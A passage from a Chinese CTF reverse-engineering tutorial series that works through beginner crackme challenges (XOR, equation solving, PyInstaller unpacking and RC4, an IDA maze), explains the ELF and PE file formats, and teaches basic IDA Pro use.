下载题目,发现是一个可执行程序,查壳发现是一个 64 位的可执行程序,运行,直接让我们输入 flag,我们直接拖进 IDA 查看 Main 函数,可以看到这里与 Exp1 是大同小异的,都是异或操作之后与内存中的一串字节 des 对比,我们直接逆运算即可得出来原本的输入数据,要注意这里是与取随机数之后的 v5 数组进行异或,我们要先模拟 v5 ,再进行异或。

{ width="70%" }

{ width="70%" }

{ width="70%" }


Exp6:

下载题目,发现是一个 py文件,里面是关于对 flag 进行加密的算法,分析一下算法可知:

  • 要求输入 flag ,并且程序会检查输入的字符串是否是 42 个字符长。如果不是,程序将打印出 "Check your length!" 并且退出程序。
  • 如果输入的字符串长度符合要求,程序将进入一个循环。在这个循环中,输入的字符串被分成 6 个部分,每个部分包含 7 个字符。然后将每个部分中的字符转换成对应的 ASCII 码,再转换成十六进制的形式。这些十六进制数值会被存储在列表 l 中。
  • 接下来的部分是一系列的条件判断。程序会检查列表 l 中的值是否满足一组复杂的方程式,其中每个方程式的右边都是一个十六进制数。如果所有的条件都满足,程序会打印 "Good job!",否则打印 "Wrong/nTry again!!!" 并退出程序。

{ width="70%" }

其实到了这一步,看到了解方程这里,这道题目就很简单了,我们直接调用 python 的 sympy库 对方程进行求解,即可得到原始 flag 的数据,下面是简单的 python代码 :

{ width="70%" }

运行后即可得到原始的 flag 字符串,即为:flag{N0_One_kn0ws_m@th_B3tter_Th@n_me!!!!}

{ width="66%" }


Exp7:

下载题目,发现是一个可执行文件,打开之后需要我们输入 Key , Key 的范围是 0-100 ,我直接用爆破的方式了,解出来 key 是 23,输入之后,下面让我们输入 flag,我们将其拖入 DIE 查看,会发现他的 Packer 是 PyInstaller,从这里可以判断这个是用 Py 打包的方式生成的可执行文件:

{ width="70%" }

那么我们直接调用 pyinstxtractor 对其进行解包,拿到其中的 python 脚本文件 (.pyc) ,此程序的主要脚本是 main.pyc ,然后再使用 python 字节码反汇编工具 pycdc 得到正常的 python 源代码:

{ width="70%" }

{ width="70%" }

反汇编出来 python 源代码之后,我们要注意的是:我们需要配置与他的源代码一致的 python 环境,从反汇编的信息上来看,这个脚本是 python3.8 的版本,我们配置完环境之后直接调试这段代码即可,我们在图中指向的地方下断点,这里的主要目的是为了拿到他处理后的执行代码,flag 的字节就在里面。

{ width="70%" }

断下来之后,我们查看输出窗口,找到 co_consts ,展开就可以看到与 flag 有关的信息,从中我们可以看到, flag 是一个用 rc4算法 加密之后的字符串,并且加密时用的 key 也显示了出来。程序用 rc4算法 对你输入的 flag 进行加密,验证是否与加密后的 flag 相等,如果相等,就会输出 yes,否则输出 no,那么到了这里我们直接调用 rc4 的解密算法来对 flag 进行解密即可。

{ width="70%" }

{ width="70%" }

运行以上代码,即可得到 flag:flag{d8e8d9d0-b2b1-7304-74b760-90b11ab6a3}

{ width="66%" }


以上是 7 道基础的逆向题目,其中涉及到了很多知识点,包括但不限于 Python 语言、汇编语言、C++,以及 IDA 的使用、查壳工具的使用,还有 Python 解包工具等。这些东西需要我们日复一日的积累,熟能生巧,才可以熟记于心中。在需要的时候把它们拿出来用。


Hc Reverse Quick Start:可执行文件 (`docs/hc-reverse/Quick Start:可执行文件.md`)

可执行文件

本章节将会对目前两大主流平台的可执行文件进行简单的介绍,便于我们了解可执行文件的基本结构。

目前我们常见的两大主流平台分别是 Linux 和 Windows;在前者环境下,其主要的可执行文件对应的名称为 ELF(Executable and Linking Format)文件;在后者环境下,其可执行文件对应的名称为 PE(Portable Executable)文件。

PE 文件基于 COFF (Common Object File Format) 扩展而来,而 ELF 则是在吸收 COFF 设计思想的基础上,为克服其不足而进行了系统化重构的一种目标文件格式。更加具体地来说,它是在 System V ABI 规范中定义的一种目标文件格式,在设计上借鉴了当时著名的 DEC(Digital Equipment Corporation)的 VAX/VMS 上所使用的 COFF 文件格式,并在此基础上进行了改进与完善。


ELF

首先我们来介绍 ELF 文件:

ELF 文件标准里把系统中采用 ELF 格式的文件主要分为以下四种:

  • 可重定位文件(Relocatable File),这类文件由源文件编译但尚未链接,包含代码和数据,可用来链接成可执行文件或共享目标文件,静态链接库为此类文件的集合,该类文件对应于 Linux 中的 .o ,Windows 的 .obj。
  • 可执行文件(Executable File),这类文件是通过链接的,可执行的目标文件,通常也被称为程序。比如 Linux 下的 ELF 可执行文件(一般没有扩展名), Windows 下的 .exe。
  • 共享目标文件(Shared Object File),这种文件包含代码和数据,通常是一段位置独立的代码(Position Independent Code, PIC),链接过程中可以使用这种文件跟其他可重定位文件/共享目标文件一起构建出新的目标文件。或者在可执行文件加载时,动态加载器(即动态链接器)可以将几个共享目标文件装载入内存,并与可执行文件链接,作为进程映像来运行。对应于 Linux 中的 .so,Windows 中的 .dll。
  • 核心转储文件(Core Dump File),当进程意外终止,系统可以将该进程地址空间的内容及终止时的一些信息转存到核心转储文件。 对应 Linux 下的 core dump。
ELF Header
.text
.data
.bss
Other Section ...
String Tables / Symbol Tables ...
Other Section ...
Section Header Table

(1) ELF 文件头 ( ELF Header ),位于文件的开始位置,它的主要目的是定位文件的其他部分。它包含了整个文件的基本属性:如文件大小、版本、目标机型、程序入口等。

c++ linenums="1"
typedef struct elf32_hdr
{
	  unsigned char	e_ident [EI_NIDENT];	/* Magic number and other info */
	  Elf32_Half	e_type;			/* Object file type */
	  Elf32_Half	e_machine;		/* Architecture */
	  Elf32_Word	e_version;		/* Object file version */
	  Elf32_Addr	e_entry;		/* Entry point virtual address */
	  Elf32_Off	e_phoff;		/* Program header table file offset */
	  Elf32_Off	e_shoff;		/* Section header table file offset */
	  Elf32_Word	e_flags;		               /* Processor-specific flags */
	  Elf32_Half	e_ehsize;		/* ELF header size in bytes */
	  Elf32_Half	e_phentsize;		/* Program header table entry size */
	  Elf32_Half	e_phnum;		/* Program header table entry count */
	  Elf32_Half	e_shentsize;		/* Section header table entry size */
	  Elf32_Half	e_shnum;		/* Section header table entry count */
	  Elf32_Half	e_shstrndx;		/* Section header string table index */
} Elf32_Ehdr;
/*
e_ident : ELF 的一些标识信息(魔术字符),前四位为.ELF, 其他的信息比如大小端等
e_machine : 文件的目标体系架构,比如 ARM
e_version : 0 为非法版本,1 为当前版本
e_entry : 程序入口的虚拟地址
e_phoff : 程序头部表偏移地址
e_shoff : 节区头部表偏移地址
e_flags :保存与文件相关的,特定于处理器的标志
e_ehsize :ELF 头的大小
e_phentsize : 每个程序头部表的大小
e_phnum :程序头部表的数量
e_shentsize:每个节区头部表的大小
e_shnum : 节区头部表的数量
e_shstrndx:节区字符串表位置
*/

(2) .text:反汇编工具读取并处理的部分,这一部分存储的是机器码。如果没有 .text 节,我们很难去对一个可执行文件进行反汇编分析。

(3) .data:包括已经初始化的 全局变量 和 局部静态变量 。

(4) .bss:存放的是 未初始化或初始化为 0 的全局变量和局部静态变量 。在编译和链接阶段,.bss 节只记录所需空间的大小, 不占用目标文件的磁盘存储空间 。当程序被加载时,加载器会在内存中额外分配相应大小的空间,并将其内容初始化为 0,这些空间就对应了 .bss 节的内容。

text
(以上4点是 ELF 可执行文件中比较重要的部分,即 ELF 可执行文件链接视角下的简化模型)

(5) Other Section:还有一些可选的节,比如 .rodata 节存储只读数据(只读变量和字符串常量),.debug 节存储调试信息等等,具体遇到可以查看相关文档。

(6) String Tables:字符串表。在 ELF 文件中,会用到很多字符串,比如节名,变量名等。所以 ELF 将所有的字符串集中放到一个表里,在开头和结尾放上null字符,保证每一个字符串都以’\0’结尾。程序可以使用字符串在表中的偏移来引用字符串,这样在 ELF 中引用字符串只需要给出数组下标即可。字符串表在 ELF 中也以节(Section)的形式保存。特别的, .shstrtab 是专供 section name 的字符串表, .dynstr 表示动态链接的字符串表。

(7) Symbol Tables:符号表,通常分为 .dynsym 和 .symtab ,前者包含参与动态链接的符号,是后者的一个功能子集。在链接过程中,我们将函数和变量统称为 符号,函数名和变量名就是 符号名。每个符号条目都包含一个叫做 符号值 (Symbol Value)的字段,对于变量和函数,符号值通常表示符号在其所属节中的偏移,链接完成后表示为其虚拟地址。因为链接过程会将多个不同的目标文件合并在一起,而不同的目标文件之间会相互引用变量和函数,所以链接器就需要借助符号表完成 符号解析 (Symbol Resolution)和 重定位 (Relocation)的工作。

(8) Section Header Table:是一个重要的部分,它描述了 ELF 文件包含的所有节的信息,比如每个节的节名、节长度、在文件中的偏移、读写权限和一些节的其他属性。

c++
typedef struct{
    Elf32_Word sh_name;   //节区名,是节区头部字符串表节区(Section Header String Table Section)的索引。名字是一个 NULL 结尾的字符串。
    Elf32_Word sh_type;    //为节区类型
    Elf32_Word sh_flags;    //节区标志
    Elf32_Addr sh_addr;    //如果节区将出现在进程的内存映像中,此成员给出节区的第一个字节应处的位置。否则,此字段为 0。
    Elf32_Off sh_offset;    //此成员的取值给出节区的第一个字节与文件头之间的偏移。
    Elf32_Word sh_size;   //此 成 员 给 出 节 区 的 长 度 ( 字 节 数 )。
    Elf32_Word sh_link;   //此成员给出节区头部表索引链接。其具体的解释依赖于节区类型。
    Elf32_Word sh_info;       //此成员给出附加信息,其解释依赖于节区类型。
    Elf32_Word sh_addralign;    //某些节区带有地址对齐约束.
    Elf32_Word sh_entsize;    //某些节区中包含固定大小的项目,如符号表。对于这类节区,此成员给出每个表项的长度字节数。
}Elf32_Shdr;
名称 类型 属性 含义
.bss SHT_NOBITS SHF_ALLOC + SHF_WRITE 包含将出现在程序的内存映像中的未初始化数据。根据定义,当程序开始执行,系统将把这些数据初始化为 0。此节区不占用文件空间。
.comment SHT_PROGBITS (无) 包含版本控制信息。
.data SHT_PROGBITS SHF_ALLOC + SHF_WRITE 这些节区包含初始化了的数据,将出现在程序的内存映像中。
.data1 SHT_PROGBITS SHF_ALLOC + SHF_WRITE 这些节区包含初始化了的数据,将出现在程序的内存映像中。
.debug SHT_PROGBITS (无) 此节区包含用于符号调试的信息。
.dynamic SHT_DYNAMIC 此节区包含动态链接信息。节区的属性将包含 SHF_ALLOC 位。SHF_WRITE 位是否被设置取决于处理器。
.dynstr SHT_STRTAB SHF_ALLOC 此节区包含用于动态链接的字符串,大多数情况下这些字符串代表了与符号表项相关的名称。
.dynsym SHT_DYNSYM SHF_ALLOC 此节区包含了动态链接符号表。
.fini SHT_PROGBITS SHF_ALLOC + SHF_EXECINSTR 此节区包含了可执行的指令,是进程终止代码的一部分。程序正常退出时,系统将安排执行这里的代码。
.got SHT_PROGBITS 此节区包含全局偏移表。
.hash SHT_HASH SHF_ALLOC 此节区包含了一个符号哈希表。
.init SHT_PROGBITS SHF_ALLOC + SHF_EXECINSTR 此节区包含了可执行指令,是进程初始化代码的一部分。当程序开始执行时,系统要在开始调用主程序入口之前(通常指 C 语言的 main 函数)执行这些代码。
.interp SHT_PROGBITS 此节区包含程序解释器的路径名。如果程序包含一个可加载的段,段中包含此节区,那么节区的属性将包含 SHF_ALLOC 位,否则该位为 0。
.line SHT_PROGBITS (无) 此节区包含符号调试的行号信息,其中描述了源程序与机器指令之间的对应关系。其内容是未定义的。
.note SHT_NOTE (无) 此节区中包含注释信息,有独立的格式。
.plt SHT_PROGBITS 此节区包含过程链接表(procedure linkage table)。
.relname .relaname SHT_REL SHT_RELA 这些节区中包含了重定位信息。如果文件中包含可加载的段,段中有重定位内容,节区的属性将包含 SHF_ALLOC 位,否则该位置 0。传统上 name 根据重定位所适用的节区给定。例如 .text 节区的重定位节区名字将是:.rel.text 或者 .rela.text。
.rodata .rodata1 SHT_PROGBITS SHF_ALLOC 这些节区包含只读数据,这些数据通常参与进程映像的不可写段。
.shstrtab SHT_STRTAB 此节区包含节区名称。
.strtab SHT_STRTAB 此节区包含字符串,通常是代表与符号表项相关的名称。如果文件拥有一个可加载的段,段中包含符号串表,节区的属性将包含 SHF_ALLOC 位,否则该位为 0。
.symtab SHT_SYMTAB 此节区包含一个符号表。如果文件中包含一个可加载的段,并且该段中包含符号表,那么节区的属性中包含 SHF_ALLOC 位,否则该位置为 0。
.text SHT_PROGBITS SHF_ALLOC + SHF_EXECINSTR 此节区包含程序的可执行指令。

!!! Note "但是 ELF 文件并不只有链接视角哦~"
如果读者感兴趣的话,可以去了解一下运行视角下的 ELF 结构,在这个结构下我们不再以“节”进行划分,而是以“段(Segment)”进行。
程序加载时依赖 Program Header Table,而非 Section Header Table。


PE

下面我们来介绍 PE 文件:实际上 PE 与 ELF 文件基本相同,也是采用了基于节的格式。

在支持该扩展的编译器(如 GCC 或 MSVC)中,可以通过编译器指令将变量或函数放入自定义节(使用 GCC 中 __attribute__(section('name')) 扩展属性)。

在此之前,我们来了解一些基本概念:

Name Description
Image File 镜像文件:包含以 EXE 文件为代表的 可执行文件、以 DLL 文件为代表的 动态链接库。因为他们常常被直接“复制”到内存中执行,有“镜像”的某种意思。
Section 节:是 PE 文件中 代码 或 数据 的基本单元。从功能角度可以粗略分为 代码类节 和 数据类节 ,但实际 PE 文件中存在多种不同用途的节。
VA 虚拟地址:英文全称 Virtual Address。即为在内存中的地址。
RVA 相对基址偏移:英文全称 Relative Virtual Address。偏移(相对虚拟地址)。相对镜像基址的偏移。

PE 文件结构

{ width="40%" }

DOS 头:是用来兼容 MS-DOS 操作系统的,目的是当这个文件在 MS-DOS 上运行时提示一段文字,大部分情况下是:This program cannot be run in DOS mode. 还有一个目的,就是指明 NT 头在文件中的位置。

NT 头:包含 windows PE 文件的主要信息,其中包括一个 'PE' 字样的签名,PE 文件头(IMAGE_FILE_HEADER) 和 PE 可选头(IMAGE_OPTIONAL_HEADER32或IMAGE_OPTIONAL_HEADER64)。

节表:是 PE 文件后续节的描述,Windows 根据节表的描述加载每个节。

节:每个节实际上是一个容器,可以包含代码、数据 等等,每个节可以有独立的内存权限,比如代码节默认有读/执行权限,节的名字和数量可以自己定义,未必是上图中的三个。

此处我们可以看到,其与 ELF 文件的结构大差不差,而且这几个常见的节名称作用也都是差不多的,这里就不再重复了。

RVA 与 VA 的关系

在我们执行一个 PE 文件之后,这个 PE 文件会被装载到内存中,之后这个 PE 文件中的每一个部分都会有一个固定的虚拟地址(VA),我们通常叫做内存地址。其中,一个 PE 文件最头部的地址叫做基地址(ImageBase),也可以简单理解为开始地址。此后,以基地址为基础,后面的所有地址都会有自己的相对基址偏移(RVA),也就是其虚拟地址与基地址的差值,称为偏移量。

我们可以用一个简单的公式来计算虚拟地址: VA = ImageBase + RVA 。

由此我们可以知道:

假如一个 PE 文件的头地址 ImageBase 为 0x140000000,其中的某一个虚拟地址 VA 为 0x140000EF48,那么该地址相对于头地址的偏移量 RVA = 0x140000EF48 - 0x140000000 = 0xEF48


那在逆向工程的过程当中,我们如何来辨别这两种文件呢?

我们将其拖到 xdbg 中,查看 HEX 窗口,在右侧的字符串区域,可以找到答案。

ELF 文件会出现 “ELF” 相关的字符串,一般都是出现在头部;PE 文件在其头部有 “MZ” 字样,其附近还会出现 “DOS” 以及 “PE” 等关键字样。

通过这些特征,我们即可方便又快速地找到其文件类型。

当然了,我们还可以使用查壳工具进行辨别,如使用Detect It Easy(DIE)。


Hc Reverse StartWithIDA (`docs/hc-reverse/StartWithIDA.md`)

从零开始的IDA

!!! Tips "本文为重构版本"
因为猫猫觉得以前的那篇《从零开始的IDA》讲的过于粗糙,于是决定对这篇教程进行重构。
以前的编写者们为此付出了许多心血,所以猫猫重构时保留了原始md文档,
如果读者感兴趣的话,可以前往Hello-CTF的仓库查看原文。
感谢各位创作者们的付出!

!!! Tips "写在前面"
本文为新手向教程,内容主要基于未优化或优化较低的简单程序,在这类情况下 IDA 的反编译结果通常较为直观;
但在复杂或经过混淆的程序中,这些方法 可能不再完全适用 。
本文主要讲解如何使用 IDA Pro 进行基础逆向分析,因此不会深入介绍其全部功能。
感兴趣的读者可以在掌握基本使用后,再进一步学习 IDA 的高级功能及快捷键。
为了降低初学门槛,除常用快捷键外,本文不会涉及过多操作细节。
希望读者在阅读过程中能够跟随教程完成题目复现,相关题目可在 这里 获取。

既然要上战场了,拥有一把趁手的“兵器”很重要,这里我们介绍一款著名逆向工具:IDA Pro。

什么是 IDA

IDA Pro(全称 Interactive Disassembler Professional,通常简称为 IDA)是 Hex-Rays 公司开发的一款强大的逆向工具,集反汇编、反编译和调试于一体。

它的反汇编器支持多种处理器架构和文件格式,在嵌入式系统、移动应用以及常规软件的静态分析中表现出色。对于未经过强混淆或复杂保护的二进制程序,IDA 通常能够生成结构较为清晰、可读性较好的分析结果;但在面对复杂混淆或加壳程序时,其分析能力可能受到限制,往往需要结合动态调试等手段进行进一步分析。

此外,IDA Pro 也提供了内置调试功能,支持本地与远程调试以及多种调试目标。不过在实际逆向分析中,通常会与专用调试器(如 x64dbg、GDB)配合使用,以获得更灵活和稳定的调试体验。

!!! Info "请注意你的IDA Pro版本……"
根据Hex-Rays的发行公告,IDA Pro已经在8.3版本中弃用了IDA(32-bit),并在9.0版本中正式将两个IDA可执行程序合并为一个,这意味着最新版本的 IDA Pro 中我们已经不会再看到存在两个 IDA 可执行程序了。
但这并不意味着我们从此不再能反编译32-bit/64-bit程序了,相反,现在的IDA Pro已经同时兼容了这两个版本!
“我们在几个版本前就弃用了IDA32。在IDA 9.0中,只需一个IDA二进制即可处理32位和64位代码。”
“将遗留IDB转换为I64文件格式是透明的,由IDA自动执行。”

IDA 的基本操作

想要使用 IDA ,我们需要学习一点基本操作。

请先下载BaseCTF 2024新生赛题目《You are good at IDA》的 附件 ,解压后拖动到 IDA Pro 上打开。

前期我们基本不需要修改什么内容,保持默认配置一路 OK/Yes 下去即可。

切换汇编视图/图形视图

如果你正确打开了 IDA,你现在看到的应该类似这个界面:

这就是 IDA 的图形视图(Graph View),你可以在这里看到程序各部分汇编块的执行流程。

如果想看完整的汇编,可以按下你的空格键(Space),IDA 就会从图形视图切换到汇编视图(Text View):

再按一下空格,IDA就会再次返回图形视图,此时上述操作都是在 IDA View-A 下进行的。

!!! Quote "你可以尝试多按几下你的空格~"
回味一下手感~(bushi)

反编译: 好读的伪代码

如果只阅读汇编的话,看久了难免会有种无力感:你让我看懂这堆东西?

虽然汇编知识后面确实需要掌握,但我们现在有一些更好的选项。

你可以试着按下你的 F5 ,部分笔记本可能需要按住 Fn 再按 F5:

可以看到 IDA 跳转到了 Pseudocode-A ,难懂的汇编代码变成了我们相对熟悉一些的 C 风格伪代码。

这就是伪代码视图(Pseudocode View),IDA 会通过程序的机器码尝试生成接近 C 语言风格的伪代码,但该结果并不等同于原始源码。

我们已经在前面的 C 语言基础教程中介绍过伪代码的阅读了,这里就不多赘述,不过我们可以看到第一部分的flag:Y0u_4Re_。

如果你想在伪代码视图和汇编视图/图形视图之间切换的话,只需要按下你的 Tab 即可。

!!! Note "小结"
目前我们已经学习了以下几个快捷键:

text
- 切换汇编视图/图形视图:空格(Space)  
- (重新)进行反编译:F5  
- 在伪代码视图和汇编视图/图形视图之间切换:Tab  

可以多按几次找找手感\~

Strings:程序中的字符串

如果你能读懂伪代码的话,你应该能知道这个程序提示你使用 Shift + F12 可以查看一些东西。

不妨试一试,可以看到 IDA 来到了一个新的选项卡 Strings:

这里展示的是 IDA 在解析程序时 识别出来的 所有“疑似字符串”,除了一些编译器留下的字符串以外,我们还能看到一些明显是人手动写进去的东西。

如果想要查看某个字符串出现的位置的话,可以双击对应的字符串,这里我们以双击 This is the first part 为例:

可以看到程序跳转到了对应的字符串,这里字符串下面有一个 ; DATA XREF:main+1F↑o ,这是 IDA 识别出的引用该字符串的程序的位置。

双击 main+1F↑o ,程序就会自动跳转到对应的位置:

程序跳转到了汇编视图,之后就可以使用 F5 将这段汇编反编译为伪代码了。

!!! Note "这是快速定位目标函数的一个常用技巧"
如果程序在编译时删除了符号表,IDA 将可能无法直接标注 main 。
解决方法是:虽然主函数无法正确识别,但是主函数中含有的字符串可能依旧正常编码在程序中。
此时就可以通过定位字符串的方式来确定主函数的位置。
不过,实战中我们其实有更多的定位方式,字符串法只是常见技巧之一。

转换:似曾相识的数字

仿照我们刚才查找字符串的逻辑,我们很容易可以发现一个名为 Second 的函数:

如果你对 ASCII 编码比较熟悉的话,可以发现这些数值大多落在可打印字符的范围内。

只是,看起来反编译视图中这些数据默认按数值显示,并没有正确解析成字符,怎么办呢?

我们只需要右键一下数据所在的位置:

在右键菜单中,IDA提供了一些显示选项,比如这里我们可以点击 Char (或者使用快捷键 R )将数据转换为字符显示:

不过,对于这种需要大量使用的操作,还是直接按 R 比较好用。

在伪代码视图下多戳几下 R 我们就可以得到:

这就是第二部分flag的内容:900d_47_ 。

当然,另一种查看转换结果的方式是直接在汇编视图下进行查看:

!!! Note "右键菜单中提供了各种各样的转换方式"
对于初学者而言,这些快捷键并不是刚开始学就要都记住的。
你可以选择刚开始先进行右键,然后慢慢的记忆这些快捷键。

捞针:快速找到目标函数

刚才在 Second 函数中我们找到了一条提示:The last part is in a named Interesting's func 。

它提示我们去找一个名为 Interesting 的函数。

我们可以在 IDA 的左侧看到一个函数窗口(Functions):

除了在里面慢慢翻找之外,一个更快的方法是点击一下函数窗口然后使用 Ctrl + F 搜索:

双击即可跳转到对应函数:

使用 R 转换为字符即可得到第三部分flag:id4。

所以本题最终的flag为:

text
BaseCTF{Y0u_4Re_900d_47_id4}

!!! Note "在继续阅读前……"
请确认你已经初步熟悉了上述题目过程中的相关操作,我们将在下一题中再次遇见其中的一些操作。
至少请确定你还记得上面讲了什么。

IDA 实战初步:ez_maze

下面我们继续以BaseCTF 2024新生赛题目《ez_maze》为例,介绍一些 IDA 常用的其他操作。

你可以在 这里 下载到题目的附件。

首先尝试运行一下附件,发现程序报错,根据报错文件缺失结合题目提示,猜测本题应该是故意不让人成功运行的。

!!! Warning "危险操作"
请注意,逆向工程中接触的文件可能是病毒!逆向工程的主要工作就是分析程序逻辑,病毒分析也属于这一范畴。
所以,如果拿到一个未知程序,最好先进行静态和云沙箱分析,在确认风险尽量可控之后,再尝试在虚拟机等隔离环境中运行。
目前笔者见过的案例包括但不限于有选手的电脑/服务器被挂上挖矿程序挖矿、文件都被病毒加密等等……
逆向千万条,安全第一条,操作不规范,机器两行泪喵~

那就拖到 IDA 上看一眼吧,虽然报错了,但是一路 Yes/OK 下去还是能打开的:

使用 F5 反编译可以看到如下代码:

c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  _BYTE v5[32]; // [rsp+20h] [rbp-60h] BYREF
  __int16 v6; // [rsp+40h] [rbp-40h]
  char v7; // [rsp+42h] [rbp-3Eh]
  int i; // [rsp+48h] [rbp-38h]
  int v9; // [rsp+4Ch] [rbp-34h]

  sub_401840(argc, argv, envp);
  j_puts(Buffer);
  j_puts(aTakeTheShortes);
  j_puts(aShowYourTime);
  memset(v5, 0, sizeof(v5));
  v6 = 0;
  v7 = 0;
  j_scanf("%34s", v5);
  v9 = 0;
  for ( i = 0; v5[i]; ++i )
  {
    v3 = (unsigned __int8)v5[i];
    if ( v3 == 100 )
    {
      if ( v9 % 15 == 14 )
        goto LABEL_20;
      ++v9;
    }
    else if ( (unsigned __int8)v5[i] > 0x64u )
    {
      if ( v3 == 115 )
      {
        if ( v9 > 209 )
          goto LABEL_20;
        v9 += 15;
      }
      else
      {
        if ( v3 != 119 )
        {
LABEL_21:
          j_puts(aInvalidInput);
          return -1;
        }
        if ( v9 <= 14 )
          goto LABEL_20;
        v9 -= 15;
      }
    }
    else
    {
      if ( v3 != 97 )
        goto LABEL_21;
      if ( !(v9 % 15) )
      {
LABEL_20:
        j_puts(aInvalidMoveOut);
        return -1;
      }
      --v9;
    }
    if ( asc_403020[v9] == 36 )
    {
      j_puts(aInvalidMoveHit);
      return -1;
    }
    if ( asc_403020[v9] == 121 )
    {
      j_puts(aYouWin);
      j_puts(aPlzBasectfLowe);
      return 0;
    }
  }
  j_puts(aYouDidnTReachT);
  return 0;
}

IDA 有时候会选择将字符串的一部分作为名称,比如上面的 aYouWin 就是获胜的提示 You win! ,这些 蓝色名称 都是可通过双击跳转的。

首先使用 R 将疑似 ASCII 码的地方恢复一下:

可以看到 WASD 这些游戏移动常常使用的按键,大胆猜测一下这里也是用于移动。

那么 v9 就是角色当前所在的位置索引,为了方便我们可以给 v9 改个名。

改名:却是旧相识

首先我们对着 v9 右键:

在右键菜单中我们选择 Rename lvar... (或者直接按 N)进行重命名,这里我们改成 Pos :

确认后,代码中所有的 v9 都被改名为 Pos 了。

!!! Note "改名的好处"
将一个变量名修改成自己熟悉的意思,最大的好处就是可以更好的理清变量之间的关系。
比如如果你不知道某个函数的传参是什么类型,不妨给变量改个名(比如Input,Buf……),
这样你就可以更好的区分这些变量了。

当然,能改名的并不只有变量,你也可以把 LABEL_20 改名成 OutOfBound 、把 LABEL_21 改名成 InvalidMove ……

修正:IDA也会推断失败

我们可以注意到,变量 v5[i] 的前面有一个强制类型转换 (unsigned __int8),说明 v5[i] 的类型可能是不理想的。

对于这种情况,我们可以手动修复 v5[i] 的类型,只需要先对着 v5 右键:

选择 Set lvar type... (或者按 Y)进行修改,这里我们把前面的类型直接修改为unsigned char:

可以看到前面的强制类型转换消失了,说明识别的类型被修复了。

!!! Note "如果你看到有些代码写得很抽象……"
在前面的 C 语言基础中我们介绍了 a[i] 的几种写法,实际逆向过程中这几种写法可能都会出现。
如果 IDA 在反编译过程中没有正确将其识别为 a[i] ,你可以手动将其修复为数组,过程和这里也是类似的。
“很多代码读起来抽象其实是因为 IDA 没有正确识别其数据类型”

于是我们得到了修正后的反编译伪代码:

c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned __int8 move[32]; // [rsp+20h] [rbp-60h] BYREF
  __int16 v6; // [rsp+40h] [rbp-40h]
  char v7; // [rsp+42h] [rbp-3Eh]
  int i; // [rsp+48h] [rbp-38h]
  int Pos; // [rsp+4Ch] [rbp-34h]

  sub_401840(argc, argv, envp);
  j_puts(Buffer);
  j_puts(aTakeTheShortes);
  j_puts(aShowYourTime);
  memset(move, 0, sizeof(move));
  v6 = 0;
  v7 = 0;
  j_scanf("%34s", move);
  Pos = 0;
  for ( i = 0; move[i]; ++i )
  {
    v3 = move[i];
    if ( v3 == 'd' )
    {
      if ( Pos % 15 == 14 )
        goto OutOfBound;
      ++Pos;
    }
    else if ( move[i] > 100u )
    {
      if ( v3 == 's' )
      {
        if ( Pos > 209 )
          goto OutOfBound;
        Pos += 15;
      }
      else
      {
        if ( v3 != 'w' )
        {
InvalidMove:
          j_puts(aInvalidInput);
          return -1;
        }
        if ( Pos <= 14 )
          goto OutOfBound;
        Pos -= 15;
      }
    }
    else
    {
      if ( v3 != 'a' )
        goto InvalidMove;
      if ( !(Pos % 15) )
      {
OutOfBound:
        j_puts(aInvalidMoveOut);
        return -1;
      }
      --Pos;
    }
    if ( Maze[Pos] == '$' )
    {
      j_puts(aInvalidMoveHit);
      return -1;
    }
    if ( Maze[Pos] == 'y' )
    {
      j_puts(aYouWin);
      j_puts(aPlzBasectfLowe);
      return 0;
    }
  }
  j_puts(aYouDidnTReachT);
  return 0;
}

导出:断断续续的数据

程序的逻辑已经很清楚了,就是一个普通的走迷宫游戏。

现在我们只剩下最后一个问题了,如何导出数据?

如果你直接在 Strings 里面进行复制的话,你会得到这串东西:

text
seg000:0000000000403020	000000E2	C	x$$$$$$$$$$$$$$&&&&&&$$$$$$$$$&$&$$&$$&&&&&$$&$&$$$&&$$$$&$$&$$$&&&$$$$$&$$&$$$&$&&$&$$$$$&$$$&$&$$&&&$$$&&&&&$&&&&$&$$$$$$$$$&&&&&&$$$$$$$$$&$$$$$$$$$$$&&&&$$&&&$$$$$$&&&&&&&$$$$$$$$$$$$$$&$$&$$$$$$$$$$$&$&$$$$$$$$$&&&&&&&&y

但其实,你可以先双击来到字符串对应的位置,然后选中字符串:

之后,我们按下 Shift + E ,然后以字符串形式导出(Export):

于是我们就可以得到:

text
x$$$$$$$$$$$$$$&&&&&&$$$$$$$$$&$&$$&$$&&&&&$$&$&$$$&&$$$$&$$&$$$&&&$$$$$&$$&$$$&$&&$&$$$$$&$$$&$&$$&&&$$$&&&&&$&&&&$&$$$$$$$$$&&&&&&$$$$$$$$$&$$$$$$$$$$$&&&&$$&&&$$$$$$&&&&&&&$$$$$$$$$$$$$$&$$&$$$$$$$$$$$&$&$$$$$$$$$&&&&&&&&y

根据前面的走迷宫程序,我们可以判断这是一个 15 * 15 的迷宫,根据题目要求 Take the shortest path to the finish line.OK? plz BaseCTF{lower.MD5{your path}} by 32bit ,你只需要提交最短路径对应的32位小写MD5值即可,这里就不进行计算了。

总结

总的来说,IDA 的使用其实并不困难。

虽然本文依旧用了很大的篇幅去介绍 IDA 的相关使用,但如果读者可以完整的跟随教程完成这两道题目的话,相信读者也已经体会到了 IDA 的魅力了。

限于篇幅,如果读者对 IDA 的其他功能或快捷键也感兴趣的话,可以自主学习一下相关内容,这里就不过多展开了。

后续读者如果想要尝试其他题目的话,可以前往BaseCTF 2024完成前两个Week的大多数逆向题目,或者去其他靶场刷刷题熟悉一下工具的使用。

请时刻记得: 不顺手的工具,终是负担。


Hc Reverse 从零开始的IDA (`docs/hc-reverse/从零开始的IDA.md`)

从零开始的IDA

对于re手来说,最基础和最重要的工具就是我们的 老婆 IDA 了。

IDA Pro(Interactive Disassembler Professional)简称“IDA”,是Hex-Rays公司出品的一款交互式反汇编工具,是目前最棒的静态反编译软件 之一 。

!!! Info "请注意你的IDA Pro版本……"
在目前最新版本的IDA Pro中,我们会注意到一个全新的IDA替代了以前的IDA+IDA64。
根据Hex-Rays的发行公告,IDA Pro已经在8.3版本中弃用了IDA(32-bit),并在9.0版本中正式将两个IDA可执行程序合并为一个。
这并不意味着我们从此不再能反编译32-bit/64-bit程序了,相反,现在的IDA Pro已经同时兼容了这两个版本!
“我们在几个版本前就弃用了IDA32。在IDA 9.0中,只需一个IDA二进制即可处理32位和64位代码。”
“将遗留IDB转换为I64文件格式是透明的,由IDA自动执行。”

IDA界面

